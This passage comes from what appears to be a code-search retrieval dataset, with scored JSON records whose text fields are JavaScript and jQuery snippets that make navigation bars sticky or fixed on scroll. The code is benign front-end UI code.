"text": "function fixed() {\n window.pageYOffset > sticky\n ? nav2.classList.add(\"fixedNav\")\n : nav2.classList.remove(\"fixedNav\");\n }", "title": "" }, { "docid": "3c5ec1ead11836a8212c17f0f8d29421", "score": "0.73998255", "text": "function sticky() {\n var scrollTop = $(window).scrollTop();\n if (scrollTop > menuTop) {\n $(\".hero-bar-sticky\").addClass(\"sticky\");\n } else {\n $(\".hero-bar-sticky\").removeClass(\"sticky\");\n }\n }", "title": "" }, { "docid": "c40161f0abee482b5c4b4b62d815fd9a", "score": "0.7335921", "text": "function setNavScroll() {\r\n var pos = jQuery(\"#header\").position(); \r\n jQuery(window).scroll(function() {\r\n\t\t//if(window.innerWidth < 767) {\r\n\t\t\tvar windowpos = jQuery(window).scrollTop();\r\n\t\t\tif (windowpos >= parseInt(pos.top)) {\r\n\t\t\t\tjQuery(\"#header\").addClass(\"stick\"); \r\n\t\t\t\tjQuery(\"#content\").addClass(\"stick\");\r\n\t\t\t} else {\r\n\t\t\t\tjQuery(\"#header\").removeClass(\"stick\");\r\n\t\t\t\tjQuery(\"#content\").removeClass(\"stick\");\r\n\t\t\t}\r\n\t\t\t/*\r\n\t\t} else {\r\n\t\t\t\tjQuery(\"#header\").removeClass(\"stick\");\r\n\t\t\t\tjQuery(\"#content\").removeClass(\"stick\");\r\n\t\t\t}*/\r\n });\r\n}", "title": "" }, { "docid": "449410e99142bc3e6d84e01e266ea1d8", "score": "0.73229593", "text": "function stickNav() {\n // Get the navbar\n var navbar = document.getElementById(\"navbar\");\n // Get the offset position of the navbar\n var sticky = navbar.offsetTop;\n if ((window.pageYOffset > sticky) || (navbar.classList.contains(\"responsive\"))) {\n navbar.classList.add(\"colored\");\n } else {\n navbar.classList.remove(\"colored\");\n }\n}", "title": "" }, { "docid": "4461b1fa84dcf3b31528c2adf581fa19", "score": "0.72879636", "text": "function setStickyMenu() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky\");\n } else {\n navbar.classList.remove(\"sticky\");\n }\n }", "title": "" }, { "docid": "8948eb63f68c84f5600d5b2605b53c3e", "score": "0.72678906", "text": "function updateStickyMenu() {\n\n // pin\n if (latestKnownScrollY + pageTop > navTop && !sticked) {\n $navWrap.css({\n position: 'fixed',\n top: pageTop,\n left: navLeft,\n width: navWidth\n });\n\n $('.main-navigation').css('height', navHeight);\n sticked = true;\n $navWrap.addClass(\"sunrise\");\n return;\n }\n\n // unpin\n if (latestKnownScrollY + pageTop <= navTop && sticked) {\n\n $navWrap.css({\n position: '',\n left: '',\n top: '',\n width: ''\n });\n\n $('.main-navigation').css('height', '');\n $navWrap.removeClass(\"sunrise\");\n sticked = false;\n }\n\n }", "title": "" }, { "docid": "f9c52397d44ee6fe35f95496634ac9db", "score": "0.72673625", "text": "function stickyHead() { \n if (window.pageYOffset >= sticky) {\n navbar.classList.remove(\"navbar\");\n navbar.classList.add(\"navbar-fixed\");\n $(\".header-placeholder\").css({display: \"block\"});\n } else {\n navbar.classList.remove(\"navbar-fixed\");\n navbar.classList.add(\"navbar\");\n $(\".header-placeholder\").css({display: \"none\"});\n };\n }", "title": "" }, { "docid": "e8ce3eeb6934d70409cc6d7e5623b55a", "score": "0.72639906", "text": "function addSticky() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky-nav\")\n } else {\n navbar.classList.remove(\"sticky-nav\");\n }\n}", "title": "" }, { "docid": "ee4d1f13be50a6ac6424507eb80bf6d6", "score": "0.72598934", "text": "function sticknav() {\n if (window.pageYOffset > 10) {\n //remove before add\n $(\".stickynav\").removeClass(\"fadeInUp animated\");\n\n //add\n $(\".stickynav\").addClass(\"sticky\");\n $(\".stickynav\").addClass(\"fadeInDown animated\");\n $(\".stickysecond\").appendTo($(\".stickynav\"));\n } else {\n //remove before add\n $(\".stickynav\").removeClass(\"sticky\");\n $(\".stickynav\").removeClass(\"fadeInDown animated\");\n\n //add\n $(\".stickynav\").addClass(\"fadeInUp animated\");\n }\n }", "title": "" }, { "docid": "9a45f302e865197bf7ad01165c6abc42", "score": "0.7255949", "text": "function scrollNav() {\n if (lastY > navOffset) {\n var placeholderHeight = hdrContainer.outerHeight(true);\n navContainer.addClass(fixed);\n hdrContainer.css('padding-top', placeholderHeight+'px');\n } else {\n navContainer.removeClass(fixed);\n hdrContainer.css('padding-top', '0');\n }\n ticking = false;\n }", "title": "" }, { "docid": "3c644a6baeb75a29dddc15328996a3d1", "score": "0.7248484", "text": "function navbarSticky() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky\")\n } else {\n navbar.classList.remove(\"sticky\");\n }\n}", "title": "" }, { "docid": "7b6989a4f62b2e5158b47d67875f8b8a", "score": "0.7234403", "text": "function mySticky() {\n if (window.pageYOffset >= sticky) {\n navBar.classList.add(\"sticky\")\n } else {\n navBar.classList.remove(\"sticky\");\n }\n}", "title": "" }, { "docid": "e1520b4e3802cab9ed32fed5017f5f13", "score": "0.72127616", "text": "function nav(){\n\t$('.sticky-nav').waypoint('sticky');\n}", "title": "" }, { "docid": "e22a343fd84ad7dd87204394cc6eb23a", "score": "0.715058", "text": "function initializeStickyNavBar() {\n SCROLL_TOLERANCE = 1;\n section0 = $(\".hero-section\");\n navigationBar = $(\".navigation-bar\");\n navLink = $(\".nav-link\");\n mainContainer = $(\"body\");\n fixedNavigationBarClass = \"navigation-bar-fixed\";\n highlightNavLinkClass = \"nav-link-highlighted\";\n hightlightTolerance = 20;\n}", "title": "" }, { "docid": "4729b143d28ba0b34618019f55419a2b", "score": "0.7143455", "text": "function stickSideNavigation(){\n function stickSidenav(){\n var sideNavigation = $(\"#stickySideNavigation\");\n var startPosition = $(\"#sideNavStickyPosition\");\n \n if(startPosition.length > 0){ \n var top = $(startPosition).offset().top;\n var element = $(window).scrollTop();\n \n if(element >= top){\n $(sideNavigation).addClass(\"stick\");\n }else{\n $(sideNavigation).removeClass(\"stick\");\n }\n }\n }\n \n \n if(($(window).width()) > 991){\n stickSidenav();\n $(window).scroll(function(e){\n stickSidenav();\n });\n } \n }", "title": "" }, { "docid": "297d500559c5f00d8a015a9789221976", "score": "0.7126105", "text": "function nav() {\n if ($(this).scrollTop() > 120) {\n if (!$('.nav-container').hasClass(\"side-nav\")) {\n $('.nav-container').addClass(\"scroll\");\n }\n } else {\n $('.nav-container').removeClass(\"scroll\");\n }\n }", "title": "" }, { "docid": "4b5d78b07e0e3b5e41e3f9c58ff78541", "score": "0.7095524", "text": "function navPosition(){\n\tvar _wt = work.offset.top;\n\t\n\tvar win = $(window);\n\n\tvar _navTop = nav.offset().top;\n\n\twin.bind('load scroll', function(){\n\t\t\n\t\tvar scroll = win.scrollTop();\n\t\tnav[scroll > _navTop ? 'addClass' : 'removeClass']('fixed');\n\t\ttopl[scroll < _navTop ? 'addClass' : 'removeClass']('hidden');\n\n\t\n\t});\n}", "title": "" }, { "docid": "e4962adcfde7d3c1d06ce39e8ea5060b", "score": "0.70872015", "text": "function stickyHeader() {\n var mainheader = $('.nav-sticky'),\n height = mainheader.outerHeight(),\n scroll = $(document).scrollTop();\n $(window).on('load', function () {\n if ($(document).scrollTop() > height) {\n if (mainheader.hasClass('sticky-header')) {\n mainheader.removeClass('sticky-header');\n } else {\n mainheader.addClass('sticky-header');\n }\n }\n });\n $(window).on('scroll', function () {\n var scrolled = $(document).scrollTop(),\n header = $('.sticky-header');\n if (scrolled > scroll) {\n header.addClass('sticky');\n } else {\n header.removeClass('sticky');\n }\n if (header.attr('data-scroll-position') === 'top') {\n if (scrolled < scroll) {\n header.addClass('sticky');\n } else {\n header.removeClass('sticky');\n }\n }\n if (scrolled === 0) {\n mainheader.removeClass('sticky-header');\n } else {\n mainheader.addClass('sticky-header');\n }\n scroll = $(document).scrollTop();\n });\n }", "title": "" }, { "docid": "9b1c9295caa122eeded24ccdc4f5544f", "score": "0.7081087", "text": "function navScroll() {\n\t// Get the navbar\n\tlet navbar = document.getElementById('navbar');\n\n\t// Get the offset position of the navbar\n\tlet sticky = navbar.offsetTop;\n\tif (window.innerWidth > 991) {\n\t\tif (window.pageYOffset > sticky) {\n\t\t\tnavbar.classList.add('sticky');\n\t\t\t$('#back-to-top').fadeIn();\n\t\t} else {\n\t\t\tnavbar.classList.remove('sticky');\n\t\t\t$('#back-to-top').fadeOut();\n\t\t}\n\t}\n}", "title": "" }, { "docid": "6aa385a237eb5deeeeebcfa065e0e353", "score": "0.70794404", "text": "function headerNoSticky() {\n scrollPos = $(window).scrollTop();\n if ($('.header-no-sticky #main-navigation:not(.header-2)').length) {\n var st = $(this).scrollTop();\n if (st > lastScrollTop) {\n $('.header-no-sticky #main-navigation').removeClass('nav-visible');\n } else {\n $('.header-no-sticky #main-navigation').addClass('nav-visible');\n }\n if (st > 0) {\n $('#main-navigation .main-nav-wrapper').css('background', '#fff');\n } else {\n $('#main-navigation .main-nav-wrapper').css('background', '');\n }\n lastScrollTop = st;\n }\n}", "title": "" }, { "docid": "0c43c484d293c640673c84714b2fb002", "score": "0.7078338", "text": "function menustickymob(){\n\tif($('header .site_navigation').length){\n\t $('header .site_navigation').removeAttr('style');\n\t $('body').removeClass('sticky_mob-menu');\n\t var renavdistance = $('header .site_navigation').offset().top;\n\t var rescroll = $(window).scrollTop();\n\t if ($(window).width() < 768) {\n\t\tif (rescroll >= renavdistance) {\n\t\t $('body').addClass('sticky_mob-menu');\n\t\t $('header .site_navigation').css({'position':'fixed', 'top':'0', 'background-color':'white'});\n\t\t}\n\t }\n\t}\n}", "title": "" }, { "docid": "a667a45949627dc64eebb99ead30d97b", "score": "0.7038219", "text": "function floatNavBar()\n{\n // Make nav bar scroll\n var startOffset = $('#sticky').parent().offset().top;\n \n // Adjust the nav bar's maximum height if the content section is bigger\n if($('#main_content_nav').height() > $('#sticky').parent().height())\n $('#sticky').parent().height($('#main_content_nav').height());\n \n $(window).scroll(function()\n {\n var bottomPos;\n \n // get the maximum scrollTop value\n bottomPos = $('#sticky').parent().height() - $('#sticky').height() - 20;\n if(bottomPos < 0)\n bottomPos = 0;\n\n // check if the window was scrolled down more than the start \n // offset declared.\n var pastStartOffset = $(document).scrollTop() > 0; \n // check if the object is at it's top position (starting point)\n var objFartherThanTopPos = $('#sticky').offset().top > startOffset; \n\n // if window scrolled down more than startOffset OR obj position is\n // greater than the top position possible\n if(pastStartOffset || objFartherThanTopPos)\n {\n var newpos = ($(document).scrollTop() - startOffset);\n\n if ( newpos > bottomPos )\n newpos = bottomPos;\n \n // if window scrolled < starting offset, then reset Obj position \n // (opts.offsetY);\n if ( $(document).scrollTop() < startOffset ) \n newpos = 0;\n\n $(\"#sticky\").animate({top: newpos}, {duration: 500, queue: false});\n }\n });\n}", "title": "" }, { "docid": "32e51a565692dfee258ca38d90c875b9", "score": "0.7020386", "text": "function navbarFunction() {\n if (window.pageYOffset >= sticky) {\n navbarEl.classList.add(\"sticky\")\n } \n else {\n navbarEl.classList.remove(\"sticky\");\n }\n}", "title": "" }, { "docid": "83919c4f8626612cbfae49cefa7b2ed9", "score": "0.7010903", "text": "function makeSticky() { // makes navbar sticky upon scroll\r\n var grabElement = document.getElementById('stickynav'); // gets the navbar element.\r\n var grabHeader = document.getElementById('magic_header') // gets the header element.\r\n if(window.pageYOffset > sticky) { // when scrolling down, makes navbar sticky and transparent while removing the header.\r\n grabElement.style.position = 'fixed'; // changes position of navbar to fixed.\r\n grabElement.style.backgroundColor = 'rgb(255, 255, 255, 0.9)'; // makes navbar transparent.\r\n grabElement.style.transition = transitionTime; // gets transition time. \r\n grabHeader.style.backgroundColor = 'rgb(151, 61, 96, 0)'; // removes header. \r\n grabHeader.style.transition = transitionTime; // gets transition time. \r\n } else if(window.pageXOffset > sticky) { // when scrolling horizontally, maintains the style of the navbar and header.\r\n grabElement.style.position = 'fixed'; // changes position of navbar to fixed. \r\n grabElement.style.backgroundColor = 'rgb(255, 255, 255, 0.9)'; // makes navbar transparent.\r\n grabHeader.style.backgroundColor = 'rgb(151, 61, 96, 1)'; // makes header opaque.\r\n } else { // when scrolled to top position, resets styles of the navbar and header.\r\n grabElement.style.position = 'absolite'; // changes position of navbar to absolute.\r\n grabElement.style.backgroundColor = 'rgb(255, 255, 255, 1)'; // makes navbar opaque. \r\n grabElement.style.transition = transitionTime; // gets transition time.\r\n grabHeader.style.backgroundColor = 'rgb(151, 61, 96, 1)'; // makes header opaque.\r\n grabHeader.style.transition = transitionTime; // gets transition time. \r\n }\r\n}", "title": "" }, { "docid": "2f7ed97eb28b70117b80709b9a4d7b9d", "score": "0.7003256", "text": "function myFunction() {\n if (window.pageYOffset > sticky) {\n header.classList.add(\"sticky\");\n $(document.body).addClass(\"nav-fixed\");\n } else {\n header.classList.remove(\"sticky\");\n $(document.body).removeClass(\"nav-fixed\");\n }\n }", "title": "" }, { "docid": "325cf3f3d76896c94385835330225280", "score": "0.69995433", "text": "function myFunction() {\n\t\t if (window.pageYOffset >= sticky) {\n\t\t navbar.classList.add(\"sticky\");\n\t\t } else {\n\t\t navbar.classList.remove(\"sticky\");\n\t\t }\n\t\t}", "title": "" }, { "docid": "39e6bca1810a347dac4a2cfc2740ad6c", "score": "0.6988202", "text": "function scrNav() {\n var sTop = $(window).scrollTop();\n $('section').each(function () {\n var id = $(this).attr('id'),\n offset = $(this).offset().top - 1,\n height = $(this).height();\n if (sTop >= offset && sTop < offset + height) {\n link.removeClass('active');\n $('#navbar').find('[data-scroll=\"' + id + '\"]').addClass('active');\n }\n });\n }", "title": "" }, { "docid": "6ff5e7a2f4123adf77e3b816ca37ac33", "score": "0.69861776", "text": "function fixNav() {\n if (window.scrollY >= topOfNav) {\n document.body.style.paddingTop = nav.offsetHeight + 'px';\n document.body.classList.add('fixed-nav');\n } else {\n document.body.classList.remove('fixed-nav');\n document.body.style.paddingTop = 0;\n }\n}", "title": "" }, { "docid": "454e1c8623bbcfef60041299dcdee24d", "score": "0.6958459", "text": "function topNavigation(){\n var stickyTopNavigation = $(\"#stickyTopNavigation\");\n var stickTopNavPosition = $(\"#stickyTopNavPosition\");\n\n function stickyTopNav(){\n if(stickTopNavPosition.length > 0){\n var top = $(stickTopNavPosition).offset().top;\n var element = $(window).scrollTop();\n var x = parseInt($(stickTopNavPosition).attr(\"data-top\"));\n if(element >= (top + x) ){\n $(stickyTopNavigation).addClass(\"topNavSticky\");\n }else{\n $(stickyTopNavigation).removeClass(\"topNavSticky\");\n }\n }\n }\n\n \n if(($(window).width()) < 991){\n stickyTopNav();\n $(window).scroll(function(e){\n stickyTopNav();\n \n });\n }\n\n \n }", "title": "" }, { "docid": "b909e7b8cd539f22782e320c63920130", "score": "0.695132", "text": "function checkSticky() {\r\n\r\n var pos = $(window).scrollTop();\r\n if (pos > stickyTop) {\r\n $('.menu-tabs').addClass('menu-sticky');\r\n $(window).trigger('resize.px.parallax');\r\n } else {\r\n $('.menu-tabs').removeClass('menu-sticky');\r\n }\r\n }//checkSticky", "title": "" }, { "docid": "5b58a991b95df473196ebb3b31fa3d2e", "score": "0.693794", "text": "function checkNav() {\n if (window.pageYOffset >= 250 || $('#burger-container').hasClass('open')) {\n $('.normal-nav').addClass('scroll');\n $('#shareClose').addClass('scroll-more');\n $('#stickyButton').addClass('scroll-more');\n $('#instaSticky').addClass('scroll-more');\n $('#linkedSticky').addClass('scroll-more');\n $('#gitSticky').addClass('scroll-more');\n $('#resumeSticky').addClass('scroll-more');\n } else {\n $('.normal-nav').removeClass('scroll');\n $('#shareClose').removeClass('scroll-more');\n $('#stickyButton').removeClass('scroll-more');\n $('#instaSticky').removeClass('scroll-more');\n $('#linkedSticky').removeClass('scroll-more');\n $('#gitSticky').removeClass('scroll-more');\n $('#resumeSticky').removeClass('scroll-more');\n }\n checkFooter();\n }", "title": "" }, { "docid": "983ccc6e48e3d121e4da3d79e1a413bc", "score": "0.69336116", "text": "function stickyMenu(){\n let stickyTop = navbar.offsetTop;\n if (window.pageYOffset > stickyTop) {\n navbar.classList.add(\"navbar-sticky\")\n } else {\n navbar.classList.remove(\"navbar-sticky\");\n }\n}", "title": "" }, { "docid": "6ecfce53b4829c68ce1d0abc5118664a", "score": "0.6924629", "text": "function myFunction() {\n if (window.pageYOffset > sticky) {\n nav.classList.add(\"sticky\");\n } else {\n nav.classList.remove(\"sticky\");\n }\n }", "title": "" }, { "docid": "b3cc5769bf18fcae4f1fb68b37c0f19e", "score": "0.6908149", "text": "function stikyNavBar() {\n if (window.pageYOffset > sticky) {\n navbar.classList.add(\"sticky\");\n navbar.style.backgroundColor = \"rgba(22, 33, 62,1)\"; //change the background color\n //navbar.style.boxShadow=\"0px 5px 10px rgba(10, 15, 29, 1)\";\n navbar.style.transition = \"0.5s\"; //set a transition\n } else {\n navbar.classList.remove(\"sticky\");\n navbar.style.backgroundColor = \"rgba(22, 33, 62,0)\"; //change the background color\n //navbar.style.boxShadow=\"0px 5px 10px rgba(10, 15, 29,0)\";\n navbar.style.transition = \"0.5s\"; //set a transition\n }\n}", "title": "" }, { "docid": "6d32e391a20e0151c54ed457eb43d56b", "score": "0.690592", "text": "function scrNav() {\r\n var sTop = $(window).scrollTop();\r\n $('section').each(function() {\r\n var id = $(this).attr('id'),\r\n offset = $(this).offset().top-1,\r\n height = $(this).height();\r\n if(sTop >= offset && sTop < offset + height) {\r\n link.removeClass('active');\r\n $('#navbar').find('[data-scroll=\"' + id + '\"]').addClass('active');\r\n }\r\n });\r\n }", "title": "" }, { "docid": "56edd4005f7d58a5a3d1d7c75e11129b", "score": "0.689748", "text": "function myFunction() {\n if (window.pageYOffset >= sticky) {\n nav.classList.add(\"sticky\")\n } else {\n nav.classList.remove(\"sticky\");\n }\n}", "title": "" }, { "docid": "05b72df0d4f4879bf905d16a66de3d95", "score": "0.6884332", "text": "function mySticky() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky\");\n navbar.classList.add(\"bg-bluet\");\n navbar.classList.remove(\"bg-transparent\");\n logo.style.height=\"50px\";\n } else {\n navbar.classList.remove(\"sticky\");\n navbar.classList.add(\"bg-transparent\");\n navbar.classList.remove(\"bg-bluet\");\n logo.style.height=\"75px\";\n }\n}", "title": "" }, { "docid": "8cbc7cd0a293d3e583022dac8e2b46a8", "score": "0.6874826", "text": "function myFunction() {\r\n if (window.pageYOffset >= sticky) {\r\n navbar.classList.add(\"sticky\")\r\n } else {\r\n navbar.classList.remove(\"sticky\");\r\n }\r\n }", "title": "" }, { "docid": "3310eca2948401738a4faee16e20ec9a", "score": "0.6869811", "text": "function agregaClasesADivs() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky-top\");\n } else {\n navbar.classList.remove(\"sticky-top\");\n }\n}", "title": "" }, { "docid": "2fb038d445540a6311fa834f36a851d1", "score": "0.6867068", "text": "function scrollFunction() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky\");\n } else {\n navbar.classList.remove(\"sticky\");\n }\n}", "title": "" }, { "docid": "492b44e13ecab9579d42b8a8c07ac397", "score": "0.6863577", "text": "function fixNavbar() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky\")\n } else {\n navbar.classList.remove(\"sticky\");\n }\n}", "title": "" }, { "docid": "a356a956b867e1d13652aae160b03ebe", "score": "0.6863434", "text": "function myFunction() {\n if (window.pageYOffset >= sticky) {// Als die plaats 0 is. de klasse sticky toekennen.\n navbar.classList.add(\"sticky\")\n } else {\n navbar.classList.remove(\"sticky\");// zo niet. weghalen.\n }\n}", "title": "" }, { "docid": "f6ae43de6c64e30762320568bd22c04c", "score": "0.68590343", "text": "function myFunction() {\n if (window.pageYOffset > sticky) {\n header.classList.add(\"nav-sticky\");\n } else {\n header.classList.remove(\"nav-sticky\");\n }\n }", "title": "" }, { "docid": "a07842d172141b4defcb900eb5ac6144", "score": "0.68582696", "text": "function stiqueCa() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"colle\");\n navbar.classList.add(\"container\");\n// navbar.classList.add(\"container\");\n contenu.classList.add(\"decalageSticky\");\n } else {\n navbar.classList.remove(\"colle\");\n contenu.classList.remove(\"decalageSticky\");\n\n }\n}", "title": "" }, { "docid": "b6cc5f8f274abeaf10d7d35bd97efa7d", "score": "0.68493104", "text": "function AddressLettersSticky() {\t \n $(window).scroll(function() {\n var stickyNavTop = $('.AddressList').offset().top;\n\t\tvar scrollTop = $(window).scrollTop();\n if (scrollTop > stickyNavTop) { \n $('.AddressListHeader').addClass('stickTop');\n $('.AddressLetters').addClass('stickTop');\n $('.AddressLetters').next().addClass('stickTop');\n } else {\n $('.AddressListHeader').removeClass('stickTop');\n $('.AddressLetters').removeClass('stickTop');\n $('.AddressLetters').next().removeClass('stickTop');\n }\n });\n}", "title": "" }, { "docid": "51e53791a157c52a06b05e103d0975f2", "score": "0.68431544", "text": "function scrNav() {\n var sTop = $(window).scrollTop();\n $('section').each(function () {\n var id = $(this).attr('id'),\n offset = $(this).offset().top - 60,\n height = $(this).height();\n if (sTop >= offset && sTop < offset + height) {\n link.removeClass('active');\n $('#navbar').find('[data-scroll=\"' + id + '\"]').addClass('active');\n }\n });\n }", "title": "" }, { "docid": "88949944054d5e80361ada898065d842", "score": "0.68330777", "text": "function myFunction() {\n if (window.pageYOffset > sticky) {\n navbar.classList.add(\"sticky\")\n } else {\n navbar.classList.remove(\"sticky\");\n }\n }", "title": "" }, { "docid": "b2a0486804932f3b4201462f3c6cd666", "score": "0.6816703", "text": "function myFunction2() {\n if (window.pageYOffset >= sticky) {\n topnav.classList.add(\"sticky\")\n } else {\n topnav.classList.remove(\"sticky\");\n }\n}", "title": "" }, { "docid": "5e9ca8922e9f819b6319b3963f29eaee", "score": "0.6816317", "text": "function contentUnderNav(){\n\t\tif(nav.classList.contains(\"fixed-top\") && nav.classList.contains(\"_content-under-nav\")){\n\t\t\tdocument.body.style.paddingTop = (nav.clientHeight-.17)+\"px\";\n\t\t}\n\t}", "title": "" }, { "docid": "45c45ad08ea13bdb16ece37f3e98e32c", "score": "0.6803677", "text": "function lockNav() {\r\n var headerHeight = $('.page-header').outerHeight( true );\r\n var windowHeight = $(window).height();\r\n if ($(window).width() > 672) {\r\n var contactInfoHeight = $('div.container-black').outerHeight( true );\r\n var blackHeight = windowHeight + headerHeight - contactInfoHeight\r\n if($(window).scrollTop() > headerHeight ){\r\n if($('#nav').css('position') == 'absolute'){\r\n $('#nav').css({'position' : 'fixed', 'margin-top' : '0', 'top' : '5vh'});\r\n $('div.container-black').css({'position' : 'fixed', 'bottom' : '0', 'top' : ''});\r\n };\r\n } else {\r\n if($('#nav').css('position') == 'fixed'){\r\n $('#nav').css({ 'position' : 'absolute', 'top' : '', 'margin-top' : ''});\r\n $('div.container-black').css({'position' : 'absolute', 'bottom': '', 'top' : blackHeight });\r\n };\r\n };\r\n } else {\r\n $('#nav').css({ 'position' : '', 'top' : '', 'margin-top' : ''});\r\n }\r\n}", "title": "" }, { "docid": "94ff619701782aa69133aa7662878bc1", "score": "0.6792659", "text": "function myFunction() {\r\n if (window.pageYOffset >= 1) {\r\n navbar.classList.add(\"sticky\");\r\n navbar2.classList.add(\"sticky\");\r\n /* hamburger.classList.add(\"gsticky\");*/\r\n } else {\r\n navbar.classList.remove(\"sticky\");\r\n navbar2.classList.remove(\"sticky\");\r\n /* hamburger.classList.remove(\"gsticky\");*/\r\n }\r\n}", "title": "" }, { "docid": "d1284b82a44583b3170ddcbbef2e3794", "score": "0.67817295", "text": "function fixedNavStyle() {\n if ($('.fixed-top-bar').length) {\n var windowHeight = $(window).height();\n var windowpos = $(window).scrollTop();\n var fixedBar = $('.fixed-top-bar');\n if (windowpos >= windowHeight) {\n $('body').addClass('banner-height-reached');\n fixedBar.addClass('now-fixed');\n } else {\n $('body').removeClass('banner-height-reached');\n fixedBar.removeClass('now-fixed');\n }\n }\n }", "title": "" }, { "docid": "90994f31b8a9d0875821f6c0ec1b38f4", "score": "0.6774949", "text": "function myFunction() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky\")\n } else {\n navbar.classList.remove(\"sticky\");\n }\n }", "title": "" }, { "docid": "90994f31b8a9d0875821f6c0ec1b38f4", "score": "0.6774949", "text": "function myFunction() {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky\")\n } else {\n navbar.classList.remove(\"sticky\");\n }\n }", "title": "" }, { "docid": "0501b78b536be217e02e9adff772ba3c", "score": "0.67679965", "text": "function onScrollNav() {\n if (typeof window === \"undefined\") {\n return;\n }\n\n let prevScrollPos = window.pageYOffset;\n \n window.onscroll = function () {\n const maxScroll = document.body.clientHeight - window.innerHeight;\n let currentScrollPos = window.pageYOffset;\n if (\n (maxScroll > 0 && prevScrollPos > currentScrollPos && prevScrollPos <= maxScroll) \n || (maxScroll <= 0 && prevScrollPos > currentScrollPos)\n || (prevScrollPos <= 0 && currentScrollPos <= 0)\n ) {\n document.getElementById(\"navbar\").style.top = \"0\";\n } else {\n document.getElementById(\"navbar\").style.top = \"-300px\";\n document.getElementById(\"navbar\").style.paddingTop = \"1px\";\n document.getElementById(\"navbar\").style.paddingBottom = \"1px\";\n }\n prevScrollPos = currentScrollPos;\n }\n }", "title": "" }, { "docid": "0176155f3e1247b02ec8900161f3b153", "score": "0.67513615", "text": "function myFunction() {\r\n if (window.pageYOffset >= sticky) {\r\n navbar.classList.add(\"sticky\")\r\n } else {\r\n navbar.classList.remove(\"sticky\");\r\n }\r\n}", "title": "" }, { "docid": "0176155f3e1247b02ec8900161f3b153", "score": "0.67513615", "text": "function myFunction() {\r\n if (window.pageYOffset >= sticky) {\r\n navbar.classList.add(\"sticky\")\r\n } else {\r\n navbar.classList.remove(\"sticky\");\r\n }\r\n}", "title": "" }, { "docid": "0176155f3e1247b02ec8900161f3b153", "score": "0.67513615", "text": "function myFunction() {\r\n if (window.pageYOffset >= sticky) {\r\n navbar.classList.add(\"sticky\")\r\n } else {\r\n navbar.classList.remove(\"sticky\");\r\n }\r\n}", "title": "" }, { "docid": "59bd87fbeab91de831f0d837492c97dc", "score": "0.6740113", "text": "function scrollCheck() {\n if (navbar) {\n if (window.pageYOffset >= sticky) {\n navbar.classList.add(\"sticky\");\n } else {\n navbar.classList.remove(\"sticky\");\n }\n }\n}", "title": "" }, { "docid": "0f7202559553712e25a621520e3c4167", "score": "0.6733", "text": "function myFunction() {\r\n \"use strict\";\r\n if (window.pageYOffset > sticky) {\r\n nav.classList.add(\"sticky\");\r\n } else {\r\n nav.classList.remove(\"sticky\");\r\n }\r\n}", "title": "" }, { "docid": "746656a240fefddad9114423933d1188", "score": "0.67262566", "text": "function navBar() {\n\n var menu = $('.menu-icon');\n\n\n $('.site-header .custom-drop-down > a').on('click', function () {\n return false;\n });\n\n wind.on('load', function () {\n\n const site_heaer = $('.site-header nav > ul');\n if (site_heaer.length <= 0) return;\n let ul = site_heaer[0].outerHTML;\n ul = $(ul);\n ul.attr('class', 'nav__list');\n ul.find('li.custom-drop-down').attr('class', 'nav__list-dropdown');\n ul.find('li').addClass('nav__list-item');\n let hedaerMobile = $('.header-top .nav .nav__content');\n if (hedaerMobile !== undefined) {\n hedaerMobile.prepend(ul);\n }\n\n const $nav_active = 'nav-active';\n\n menu.on('click', function () {\n body.toggleClass($nav_active);\n });\n\n $('.nav__list-item:not(.nav__list-dropdown) ').on(\"click\", function () {\n body.removeClass('nav-active');\n });\n\n $(\".nav__list-dropdown > a\").on('click',\n function (e) {\n e.preventDefault();\n var _that = $(this).parent();\n var dispaly = _that.find('ul').css('display');\n $(\".nav__list-dropdown\").find(\"ul\").slideUp(\"slow\");\n if (dispaly !== 'block') {\n _that.find(\"ul\").slideDown(\"slow\");\n }\n\n }\n );\n\n\n });\n\n wind.on(\"scroll\", function () {\n\n var bodyScroll = wind.scrollTop(),\n headerSmall = $(\".site-header , .header-top\")\n\n ;\n var $ofContent = $('.page-content').offset();\n var $top = 70;\n if ($ofContent !== undefined) {\n $top = $ofContent.top;\n }\n if (bodyScroll > $top) {\n\n headerSmall.addClass(\"header-stickytop\");\n $('.sections').addClass(\"body-pt\");\n\n } else {\n\n headerSmall.removeClass(\"header-stickytop\");\n $('body').css('paddingTop', 0);\n }\n });\n\n var text_menu = $('.header-top .header-container .menu-icon .text-menu');\n if (text_menu.length <= 0) return;\n var text_button = text_menu.find('.text-button');\n var text_open = text_menu.find('.text-open');\n var text_close = text_menu.find('.text-close');\n\n\n dsnGrid.convertTextWord(text_button, text_button, true);\n dsnGrid.convertTextWord(text_open, text_open, true);\n dsnGrid.convertTextWord(text_close, text_close, true);\n\n\n }", "title": "" }, { "docid": "3fd9af82fae072683dd730abadb8cc79", "score": "0.6725702", "text": "function myFunction() {\n if (window.pageYOffset >= sticky) {\n nav-top.classList.add(\"sticky\")\n } else {\n nav-top.classList.remove(\"sticky\");\n }\n}", "title": "" }, { "docid": "587be13a8acdddecb00026828bddaa13", "score": "0.6725521", "text": "function myFunction(){\n let nav = document.getElementById(\"fix-header\");\n // Gets the heigth of the header\n let sticky = nav.offsetTop;\n\n if (window.pageYOffset > sticky){\n nav.classList.add(\"sticky\");\n }else{\n nav.classList.remove(\"sticky\");\n }\n}", "title": "" }, { "docid": "6693a0d03c5d08fce9bb6773d959c4c1", "score": "0.67216796", "text": "function navIn() {\n \t$('.dark-logo').addClass('in')\n \t$('#sidenav').addClass('push-down')\n $('.nav-position').addClass('fixed')\n }", "title": "" }, { "docid": "7cfb49ca8079db9249d0cf4079fc819f", "score": "0.6717433", "text": "function scrollFunction() {\n if (document.body.scrollTop > 50 || document.documentElement.scrollTop > 50) {\n document.getElementById('nav-desktop').classList.add('sticky');\n document.getElementById('nav-mobile').classList.add('sticky');\n } else {\n document.getElementById('nav-desktop').classList.remove('sticky');\n 